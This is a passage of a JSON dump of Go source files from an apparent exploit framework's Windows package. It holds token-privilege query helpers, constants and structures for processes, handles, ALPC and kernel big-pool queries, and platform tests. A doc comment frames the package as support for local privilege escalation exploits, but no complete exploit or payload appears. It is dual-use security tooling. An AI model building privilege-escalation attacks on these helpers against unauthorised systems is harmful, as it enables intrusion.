\"SeAssignPrimaryTokenPrivilege\"\n\tSeTcbPrivilege                = \"SeTcbPrivilege\"\n\tSeBackupPrivilege             = \"SeBackupPrivilege\"\n\tSeRestorePrivilege            = \"SeRestorePrivilege\"\n\tSeTakeOwnershipPrivilege      = \"SeTakeOwnershipPrivilege\"\n\tSeLoadDriverPrivilege         = \"SeLoadDriverPrivilege\"\n)\n\n// QueryTokenInformation queries information about a token\nfunc QueryTokenInformation(token Token, infoClass uint32) ([]byte, bool) {\n\tvar needed uint32\n\n\t// First call to get the required buffer size\n\twindows.GetTokenInformation(\n\t\twindows.Token(token),\n\t\tuint32(infoClass),\n\t\tnil,\n\t\t0,\n\t\t&needed,\n\t)\n\n\tif needed == 0 {\n\t\toutput.PrintFrameworkError(\"GetTokenInformation failed to get required size\")\n\t\treturn nil, false\n\t}\n\n\tbuffer := make([]byte, needed)\n\terr := windows.GetTokenInformation(\n\t\twindows.Token(token),\n\t\tuint32(infoClass),\n\t\t&buffer[0],\n\t\tneeded,\n\t\t&needed,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"GetTokenInformation failed: %v\", err)\n\t\treturn nil, false\n\t}\n\n\treturn buffer, true\n}\n\n// GetTokenPrivileges returns the privileges associated with a token\nfunc GetTokenPrivileges(token Token) ([]string, bool) {\n\tt := windows.Token(token)\n\n\t// Get privileges\n\tvar needed uint32\n\twindows.GetTokenInformation(t, windows.TokenPrivileges, nil, 0, &needed)\n\n\tbuffer := make([]byte, needed)\n\terr := windows.GetTokenInformation(t, windows.TokenPrivileges, &buffer[0], needed, &needed)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to get token privileges: %v\", err)\n\t\treturn nil, false\n\t}\n\n\t// Parse the TOKEN_PRIVILEGES structure\n\ttype tokenPrivileges struct {\n\t\tPrivilegeCount uint32\n\t\tPrivileges     [1]windows.LUIDAndAttributes\n\t}\n\n\ttp := (*tokenPrivileges)(unsafe.Pointer(&buffer[0]))\n\tprivs := make([]string, 0, tp.PrivilegeCount)\n\n\t// Get pointer to first privilege.\n\t// We cast to a fixed-size array of 1024 to allow indexing. This is safe because\n\t// we only iterate up to tp.PrivilegeCount, and no Windows token has 1024 privileges.\n\tprivArray := (*[1024]windows.LUIDAndAttributes)(unsafe.Pointer(&tp.Privileges[0]))\n\n\tfor i := uint32(0); i < tp.PrivilegeCount; i++ {\n\t\tpriv := privArray[i]\n\t\tvar nameLen uint32 = 256\n\t\tname := make([]uint16, nameLen)\n\n\t\t// LookupPrivilegeName is not available in x/sys/windows\n\t\tret, _, _ := procLookupPrivilegeNameW.Call(\n\t\t\t0, // lpSystemName - NULL for local system\n\t\t\tuintptr(unsafe.Pointer(&priv.Luid)),\n\t\t\tuintptr(unsafe.Pointer(&name[0])),\n\t\t\tuintptr(unsafe.Pointer(&nameLen)),\n\t\t)\n\t\tif ret != 0 {\n\t\t\tprivName := windows.UTF16ToString(name[:nameLen])\n\t\t\tif priv.Attributes&windows.SE_PRIVILEGE_ENABLED != 0 {\n\t\t\t\tprivName += \" (enabled)\"\n\t\t\t}\n\t\t\tprivs = append(privs, privName)\n\t\t}\n\t}\n\n\treturn privs, true\n}\n\n// GetTokenInfo returns detailed information about a token\nfunc GetTokenInfo(token Token) (*TokenInfo, bool) {\n\tinfo := &TokenInfo{}\n\n\t// Get user\n\tuser, ok := GetTokenUser(token)\n\tif ok {\n\t\tinfo.Owner = user\n\t}\n\n\t// Get integrity level\n\tinfo.IntegrityLevel = GetTokenIntegrity(token)\n\n\t// Get privileges\n\tprivs, ok := GetTokenPrivileges(token)\n\tif ok {\n\t\tinfo.Privileges = privs\n\t}\n\n\t// Check elevation\n\tt := windows.Token(token)\n\tinfo.IsElevated = t.IsElevated()\n\n\treturn info, true\n}\n\n// IsTokenElevated checks if a token is elevated\nfunc IsTokenElevated(token Token) bool {\n\tt := windows.Token(token)\n\treturn t.IsElevated()\n}\n\n// GetTokenSessionID returns the session ID associated with a token.\nfunc GetTokenSessionID(token Token) (uint32, bool) {\n\tvar sessionID uint32\n\tvar needed uint32\n\n\terr := windows.GetTokenInformation(\n\t\twindows.Token(token),\n\t\twindows.TokenSessionId,\n\t\t(*byte)(unsafe.Pointer(&sessionID)),\n\t\tuint32(unsafe.Sizeof(sessionID)),\n\t\t&needed,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to get token session ID: %v\", err)\n\t\treturn 0, false\n\t}\n\n\treturn sessionID, true\n}\n"
  },
  {
    "path": "windows/windows.go",
    "content": "// Windows provides Windows-specific functionality for local privilege\n// escalation exploits. This package includes process enumeration, handle\n// manipulation, token operations, and ALPC communication helpers.\n//\n// This package is only functional on Windows systems. On other platforms,\n// functions will return appropriate errors or stub values.\n//\n// Example usage for a Windows LPE exploit:\n//\n//\tfunc (e MyExploit) RunExploit(conf *config.Config) bool {\n//\t    // Check current privileges\n//\t    info, ok := windows.GetPlatformInfo()\n//\t    if !ok {\n//\t        return false\n//\t    }\n//\t    if info.IsSystem {\n//\t        output.PrintFrameworkStatus(\"Already running as SYSTEM\")\n//\t        return true\n//\t    }\n//\n//\t    // Find target process\n//\t    pid, ok := windows.FindProcess(\"dwm.exe\")\n//\t    if !ok {\n//\t        return false\n//\t    }\n//\n//\t    // Exploit logic here...\n//\t}\npackage windows\n\nimport (\n\t\"runtime\"\n)\n\n// IntegrityLevel represents Windows integrity levels.\ntype IntegrityLevel int\n\nconst (\n\tIntegrityUnknown IntegrityLevel = iota\n\tIntegrityUntrusted\n\tIntegrityLow\n\tIntegrityMedium\n\tIntegrityMediumPlus\n\tIntegrityHigh\n\tIntegritySystem\n\tIntegrityProtected\n)\n\n// String returns the string representation of the integrity level.\nfunc (il IntegrityLevel) String() string {\n\tswitch il {\n\tcase IntegrityUnknown:\n\t\treturn \"Unknown\"\n\tcase IntegrityUntrusted:\n\t\treturn \"Untrusted\"\n\tcase IntegrityLow:\n\t\treturn \"Low\"\n\tcase IntegrityMedium:\n\t\treturn \"Medium\"\n\tcase IntegrityMediumPlus:\n\t\treturn \"Medium Plus\"\n\tcase IntegrityHigh:\n\t\treturn \"High\"\n\tcase IntegritySystem:\n\t\treturn \"System\"\n\tcase IntegrityProtected:\n\t\treturn \"Protected\"\n\tdefault:\n\t\treturn \"Unknown\"\n\t}\n}\n\n// PlatformInfo contains information about the current Windows platform.\ntype PlatformInfo struct {\n\t// OS information\n\tOS          string // \"windows\"\n\tArch        string // \"amd64\", \"386\", \"arm64\"\n\tVersion     string // e.g., \"10.0.22631\"\n\tBuildNumber uint32 // e.g., 22631\n\tProductName string // e.g., \"Windows 11 Pro\"\n\tIsServer    bool   // True if Windows Server edition\n\n\t// Privilege information\n\tIsAdmin        bool           // Running with admin privileges\n\tIsSystem       bool           // Running as SYSTEM\n\tIsElevated     bool           // Running in elevated context\n\tIntegrityLevel IntegrityLevel // Current integrity level\n\n\t// Process information\n\tCurrentPID   uint32 // Current process ID\n\tSessionID    uint32 // Current session ID\n\tUsername     string // Current username\n\tComputerName string // Computer name\n}\n\n// Handle represents a Windows handle.\ntype Handle uintptr\n\n// Token represents a Windows access token.\ntype Token Handle\n\n// TokenType represents the type of token (primary or impersonation).\ntype TokenType int\n\nconst (\n\tTokenTypePrimary       TokenType = 1\n\tTokenTypeImpersonation TokenType = 2\n)\n\n// SecurityImpersonationLevel represents the impersonation level.\ntype SecurityImpersonationLevel int\n\nconst (\n\tSecurityAnonymous      SecurityImpersonationLevel = 0\n\tSecurityIdentification SecurityImpersonationLevel = 1\n\tSecurityImpersonation  SecurityImpersonationLevel = 2\n\tSecurityDelegation     SecurityImpersonationLevel = 3\n)\n\n// ProcessInfo contains information about a Windows process.\ntype ProcessInfo struct {\n\tPID       uint32\n\tPPID      uint32\n\tName      string\n\tPath      string\n\tSessionID uint32\n\tUsername  string\n\tIntegrity IntegrityLevel\n\tIsWow64   bool // 32-bit process on 64-bit Windows\n}\n\n// HandleInfo contains information about a system handle.\ntype HandleInfo struct {\n\tProcessID       uint32\n\tHandleValue     uint16\n\tObjectTypeIndex uint8\n\tObjectAddress   uintptr\n\tGrantedAccess   uint32\n}\n\n// ALPCSectionInfo contains information about an ALPC port section.\ntype ALPCSectionInfo struct {\n\tSectionHandle  Handle\n\tSectionSize    uint64\n\tSectionAddress uintptr\n\tViewBase       uintptr\n\tViewSize       uint64\n}\n\n// TokenInfo contains detailed information about a token.\ntype TokenInfo struct {\n\tTokenType        uint32\n\tImpersonationLvl uint32\n\tTokenID          uint64\n\tAuthenticationID uint64\n\tPrivileges       []string\n\tGroups           []string\n\tOwner            string\n\tPrimaryGroup     string\n\tIntegrityLevel   IntegrityLevel\n\tIsElevated       bool\n\tHasRestrictions  bool\n}\n\n// ServiceInfo contains information about a Windows service.\ntype ServiceInfo struct {\n\tName        string\n\tDisplayName string\n\tStatus      uint32\n\tType        uint32\n\tStartType   uint32\n\tBinaryPath  string\n\tAccount     string\n\tPID         uint32\n}\n\n// ServiceStatus constants.\n// These match golang.org/x/sys/windows/svc.State values.\nconst (\n\tServiceStopped         = 0x00000001 // svc.Stopped\n\tServiceStartPending    = 0x00000002 // svc.StartPending\n\tServiceStopPending     = 0x00000003 // svc.StopPending\n\tServiceRunning         = 0x00000004 // svc.Running\n\tServiceContinuePending = 0x00000005 // svc.ContinuePending\n\tServicePausePending    = 0x00000006 // svc.PausePending\n\tServicePaused          = 0x00000007 // svc.Paused\n)\n\n// MemoryRegionInfo contains information about a memory region.\ntype MemoryRegionInfo struct {\n\tBaseAddress       uintptr\n\tAllocationBase    uintptr\n\tAllocationProtect uint32\n\tRegionSize        uintptr\n\tState             uint32\n\tProtect           uint32\n\tType              uint32\n}\n\n// IsWindows returns true if running on Windows.\nfunc IsWindows() bool {\n\treturn runtime.GOOS == \"windows\"\n}\n\n// Common Windows constants.\n// These are defined here for cross-platform compilation support.\n// On Windows, equivalent constants are available in golang.org/x/sys/windows.\nconst (\n\tInvalidHandleValue = ^Handle(0)\n\n\t// Process access rights.\n\tProcessTerminate               = 0x0001\n\tProcessCreateThread            = 0x0002\n\tProcessSetSessionID            = 0x0004\n\tProcessVMOperation             = 0x0008\n\tProcessVMRead                  = 0x0010\n\tProcessVMWrite                 = 0x0020\n\tProcessDupHandle               = 0x0040\n\tProcessCreateProcess           = 0x0080\n\tProcessSetQuota                = 0x0100\n\tProcessSetInformation          = 0x0200\n\tProcessQueryInformation        = 0x0400\n\tProcessSuspendResume           = 0x0800\n\tProcessQueryLimitedInformation = 0x1000\n\tProcessAllAccess               = 0x1FFFFF\n\n\t// Token access rights.\n\tTokenAssignPrimary    = 0x0001\n\tTokenDuplicate        = 0x0002\n\tTokenImpersonate      = 0x0004\n\tTokenQuery            = 0x0008\n\tTokenQuerySource      = 0x0010\n\tTokenAdjustPrivileges = 0x0020\n\tTokenAdjustGroups     = 0x0040\n\tTokenAdjustDefault    = 0x0080\n\tTokenAdjustSessionID  = 0x0100\n\tTokenAllAccess        = 0xF01FF\n\n\t// NTSTATUS codes.\n\tStatusSuccess            = 0x00000000\n\tStatusInfoLengthMismatch = 0xC0000004\n\tStatusAccessDenied       = 0xC0000022\n\tStatusInvalidHandle      = 0xC0000008\n\n\t// System information classes.\n\tSystemHandleInformation = 16\n\n\t// Object type indices (varies by Windows version).\n\tAlpcPortObjectType = 45\n\n\t// Memory protection constants.\n\tPageNoAccess         = 0x01\n\tPageReadOnly         = 0x02\n\tPageReadWrite        = 0x04\n\tPageWriteCopy        = 0x08\n\tPageExecute          = 0x10\n\tPageExecuteRead      = 0x20\n\tPageExecuteReadWrite = 0x40\n\tPageExecuteWriteCopy = 0x80\n\tPageGuard            = 0x100\n\tPageNoCache          = 0x200\n\tPageWriteCombine     = 0x400\n\n\t// Memory allocation type.\n\tMemCommit     = 0x1000\n\tMemReserve    = 0x2000\n\tMemDecommit   = 0x4000\n\tMemRelease    = 0x8000\n\tMemFree       = 0x10000\n\tMemPrivate    = 0x20000\n\tMemMapped     = 0x40000\n\tMemReset      = 0x80000\n\tMemTopDown    = 0x100000\n\tMemLargePages = 0x20000000\n\n\t// Service control manager access rights.\n\tScManagerConnect          = 0x0001\n\tScManagerCreateService    = 0x0002\n\tScManagerEnumerateService = 0x0004\n\tScManagerLock             = 0x0008\n\tScManagerQueryLockStatus  = 0x0010\n\tScManagerModifyBootConfig = 0x0020\n\tScManagerAllAccess        = 0xF003F\n\n\t// Service access rights.\n\tServiceQueryConfig         = 0x0001\n\tServiceChangeConfig        = 0x0002\n\tServiceQueryStatus         = 0x0004\n\tServiceEnumerateDependents = 0x0008\n\tServiceStart               = 0x0010\n\tServiceStop                = 0x0020\n\tServicePauseContinue       = 0x0040\n\tServiceInterrogate         = 0x0080\n\tServiceUserDefinedControl  = 0x0100\n\tServiceAllAccess           = 0xF01FF\n\n\t// Service types.\n\tServiceKernelDriver       = 0x00000001\n\tServiceFileSystemDriver   = 0x00000002\n\tServiceWin32OwnProcess    = 0x00000010\n\tServiceWin32ShareProcess  = 0x00000020\n\tServiceInteractiveProcess = 0x00000100\n\n\t// Service start types.\n\tServiceBootStart   = 0x00000000\n\tServiceSystemStart = 0x00000001\n\tServiceAutoStart   = 0x00000002\n\tServiceDemandStart = 0x00000003\n\tServiceDisabled    = 0x00000004\n\n\t// Generic access rights.\n\tGenericRead    = 0x80000000\n\tGenericWrite   = 0x40000000\n\tGenericExecute = 0x20000000\n\tGenericAll     = 0x10000000\n\n\t// File share mode.\n\tFileShareRead   = 0x00000001\n\tFileShareWrite  = 0x00000002\n\tFileShareDelete = 0x00000004\n\n\t// File creation disposition.\n\tCreateNew        = 1\n\tCreateAlways     = 2\n\tOpenExisting     = 3\n\tOpenAlways       = 4\n\tTruncateExisting = 5\n\n\t// Token information classes.\n\tTokenInfoUser                = 1\n\tTokenInfoGroups              = 2\n\tTokenInfoPrivileges          = 3\n\tTokenInfoOwner               = 4\n\tTokenInfoPrimaryGroup        = 5\n\tTokenInfoDefaultDacl         = 6\n\tTokenInfoSource              = 7\n\tTokenInfoType                = 8\n\tTokenInfoImpersonationLevel  = 9\n\tTokenInfoStatistics          = 10\n\tTokenInfoRestrictedSids      = 11\n\tTokenInfoSessionID           = 12\n\tTokenInfoGroupsAndPrivileges = 13\n\tTokenInfoSandBoxInert        = 15\n\tTokenInfoOrigin              = 17\n\tTokenInfoElevationType       = 18\n\tTokenInfoLinkedToken         = 19\n\tTokenInfoElevation           = 20\n\tTokenInfoIntegrityLevel      = 25\n\tTokenInfoUIAccess            = 26\n\tTokenInfoMandatoryPolicy     = 27\n\tTokenInfoIsAppContainer      = 29\n\n\t// System information class for big pool queries.\n\tSystemBigPoolInformation = 66\n\n\t// NtCreateFile disposition values.\n\tNtFileSupersede = 0\n\tNtFileOpen      = 1\n\tNtFileCreate    = 2\n\tNtFileOpenIf    = 3\n\tNtFileOverwrite = 4\n\n\t// NtCreateFile create options.\n\tFileDirectoryFile         = 0x00000001\n\tFileSynchronousIONonAlert = 0x00000020\n\tFileNonDirectoryFile      = 0x00000040\n\tFileOpenReparsePoint      = 0x00200000\n\n\t// Object attributes flags.\n\tObjCaseInsensitive = 0x00000040\n\n\t// Cloud Files reparse tag.\n\tIoReparseTagCloud = 0x9000001A\n\n\t// FSCTL codes.\n\tFsctlSetReparsePoint = 0x000900A4\n\n\t// Named pipe attribute FSCTLs.\n\tFsctlPipeSetAttribute = 0x11003C\n\tFsctlPipeGetAttribute = 0x110038\n\n\t// ALPC message flags.\n\tAlpcMsgflgNone = 0x0\n\n\t// Reparse data buffer header size (Tag + DataLength + Reserved).\n\tReparseDataBufferHeaderSize = 8\n\n\t// PORT_MESSAGE size on x64 (0x28 = 40 bytes).\n\tPortMessageSize = 0x28\n)\n\n// IOStatusBlock represents the Windows IO_STATUS_BLOCK structure.\n// Used by NtFsControlFile, NtCreateFile, and other NT I/O functions.\ntype IOStatusBlock struct {\n\tStatus      uintptr\n\tInformation uintptr\n}\n\n// UnicodeString represents the Windows UNICODE_STRING structure.\n// Layout on x64: Length (2) + MaximumLength (2) + pad (4) + Buffer (8) = 16 bytes.\ntype UnicodeString struct {\n\tLength        uint16\n\tMaximumLength uint16\n\t_             [4]byte // padding on x64\n\tBuffer        uintptr\n}\n\n// ObjectAttributes represents the Windows OBJECT_ATTRIBUTES structure.\n// Layout on x64: Length (4) + pad (4) + RootDirectory (8) + ObjectName (8) +\n// Attributes (4) + pad (4) + SecurityDescriptor (8) + SecurityQoS (8) = 48 bytes.\ntype ObjectAttributes struct {\n\tLength             uint32\n\t_                  [4]byte // padding on x64\n\tRootDirectory      uintptr\n\tObjectName         uintptr // *UnicodeString\n\tAttributes         uint32\n\t_                  [4]byte // padding on x64\n\tSecurityDescriptor uintptr\n\tSecurityQoS        uintptr\n}\n\n// ALPCPortAttributes represents the ALPC_PORT_ATTRIBUTES structure.\n// SecurityQos is SECURITY_QUALITY_OF_SERVICE (12 bytes on x64).\ntype ALPCPortAttributes struct {\n\tFlags               uint32\n\tSecurityQos         [12]byte\n\tMaxMessageLength    uint64\n\tMemoryBandwidth     uint64\n\tMaxPoolUsage        uint64\n\tMaxSectionSize      uint64\n\tMaxViewSize         uint64\n\tMaxTotalSectionSize uint64\n\tDupObjectTypes      uint32\n\tReserved            uint32 // present on x64\n}\n\n// ALPCMessageAttributes represents the ALPC_MESSAGE_ATTRIBUTES structure.\ntype ALPCMessageAttributes struct {\n\tAllocatedAttributes uint32\n\tValidAttributes     uint32\n}\n\n// BigPoolEntry represents a SYSTEM_BIGPOOL_ENTRY structure.\n// VirtualAddress has bit 0 as NonPaged flag; mask with &^ 1 to get the real address.\ntype BigPoolEntry struct {\n\tVirtualAddress uintptr\n\tSizeInBytes    uintptr\n\tTag            uint32\n\t_              [4]byte // padding on x64\n}\n\n// BigPoolInformation is the header for the variable-length SYSTEM_BIGPOOL_INFORMATION array.\ntype BigPoolInformation struct {\n\tCount uint32\n}\n"
  },
  {
    "path": "windows/windows_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nconst windowsOS = \"windows\"\n\nfunc TestIntegrityLevelString(t *testing.T) {\n\ttests := []struct {\n\t\tlevel    windows.IntegrityLevel\n\t\texpected string\n\t}{\n\t\t{windows.IntegrityUnknown, \"Unknown\"},\n\t\t{windows.IntegrityUntrusted, \"Untrusted\"},\n\t\t{windows.IntegrityLow, \"Low\"},\n\t\t{windows.IntegrityMedium, \"Medium\"},\n\t\t{windows.IntegrityMediumPlus, \"Medium Plus\"},\n\t\t{windows.IntegrityHigh, \"High\"},\n\t\t{windows.IntegritySystem, \"System\"},\n\t\t{windows.IntegrityProtected, \"Protected\"},\n\t}\n\n\tfor _, test := range tests {\n\t\tif test.level.String() != test.expected {\n\t\t\tt.Errorf(\"IntegrityLevel.String() = %s, expected %s\", test.level.String(), test.expected)\n\t\t}\n\t}\n}\n\nfunc TestConstants(t *testing.T) {\n\t// Test that common constants are defined correctly\n\tif windows.InvalidHandleValue != windows.Handle(^uintptr(0)) {\n\t\tt.Error(\"InvalidHandleValue not defined correctly\")\n\t}\n\n\t// Test process access rights\n\tif windows.ProcessAllAccess == 0 {\n\t\tt.Error(\"ProcessAllAccess should not be zero\")\n\t}\n\n\t// Test token access rights\n\tif windows.TokenAllAccess == 0 {\n\t\tt.Error(\"TokenAllAccess should not be zero\")\n\t}\n}\n\nfunc TestGetPlatformInfo(t *testing.T) {\n\tinfo, ok := windows.GetPlatformInfo()\n\n\tif runtime.GOOS != windowsOS {\n\t\t// On non-Windows, should return false\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows platform\")\n\t\t}\n\t\tif info != nil {\n\t\t\tt.Error(\"Expected nil PlatformInfo on non-Windows platform\")\n\t\t}\n\t} else {\n\t\t// On Windows, should succeed\n\t\tif !ok {\n\t\t\tt.Error(\"Expected true on Windows\")\n\t\t}\n\t\tif info == nil {\n\t\t\tt.Fatal(\"Expected non-nil PlatformInfo on Windows\")\n\t\t}\n\t\tif info.OS != windowsOS {\n\t\t\tt.Errorf(\"Expected OS to be 'windows', got: %s\", info.OS)\n\t\t}\n\t}\n}\n\nfunc TestIsAdmin(t *testing.T) {\n\tresult := windows.IsAdmin()\n\n\tif runtime.GOOS != windowsOS {\n\t\t// On non-Windows, should return false\n\t\tif result {\n\t\t\tt.Error(\"IsAdmin should return false on non-Windows\")\n\t\t}\n\t}\n\t// On Windows, result depends on actual privileges - just ensure it doesn't panic\n}\n\nfunc TestIsSystem(t *testing.T) {\n\tresult := windows.IsSystem()\n\n\tif runtime.GOOS != windowsOS {\n\t\t// On non-Windows, should return false\n\t\tif result {\n\t\t\tt.Error(\"IsSystem should return false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestIsElevated(t *testing.T) {\n\tresult := windows.IsElevated()\n\n\tif runtime.GOOS != windowsOS {\n\t\t// On non-Windows, should return false\n\t\tif result {\n\t\t\tt.Error(\"IsElevated should return false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestGetIntegrityLevel(t *testing.T) {\n\tlevel := windows.GetIntegrityLevel()\n\n\tif runtime.GOOS != windowsOS {\n\t\t// On non-Windows, should return IntegrityUnknown\n\t\tif level != windows.IntegrityUnknown {\n\t\t\tt.Errorf(\"Expected IntegrityUnknown on non-Windows, got: %s\", level.String())\n\t\t}\n\t}\n}\n\nfunc TestEnumProcesses(t *testing.T) {\n\tprocesses, ok := windows.EnumProcesses()\n\n\tif runtime.GOOS != windowsOS {\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t\tif processes != nil {\n\t\t\tt.Error(\"Expected nil processes on non-Windows\")\n\t\t}\n\t} else {\n\t\tif !ok {\n\t\t\tt.Error(\"Expected true on Windows\")\n\t\t}\n\t\tif len(processes) == 0 {\n\t\t\tt.Error(\"Expected at least one process on Windows\")\n\t\t}\n\t}\n}\n\nfunc TestFindProcess(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.FindProcess(\"explorer.exe\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestOpenProcessNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.OpenProcess(1234, windows.ProcessQueryInformation)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestCloseHandleNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.CloseHandle(windows.Handle(0))\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestGetCurrentProcess(t *testing.T) {\n\thandle := windows.GetCurrentProcess()\n\n\tif runtime.GOOS != windowsOS {\n\t\tif handle != windows.InvalidHandleValue {\n\t\t\tt.Error(\"Expected InvalidHandleValue on non-Windows\")\n\t\t}\n\t} else {\n\t\t// On Windows, should return a pseudo-handle (usually -1 cast to handle)\n\t\tif handle == 0 {\n\t\t\tt.Error(\"GetCurrentProcess should not return 0 on Windows\")\n\t\t}\n\t}\n}\n"
  }
]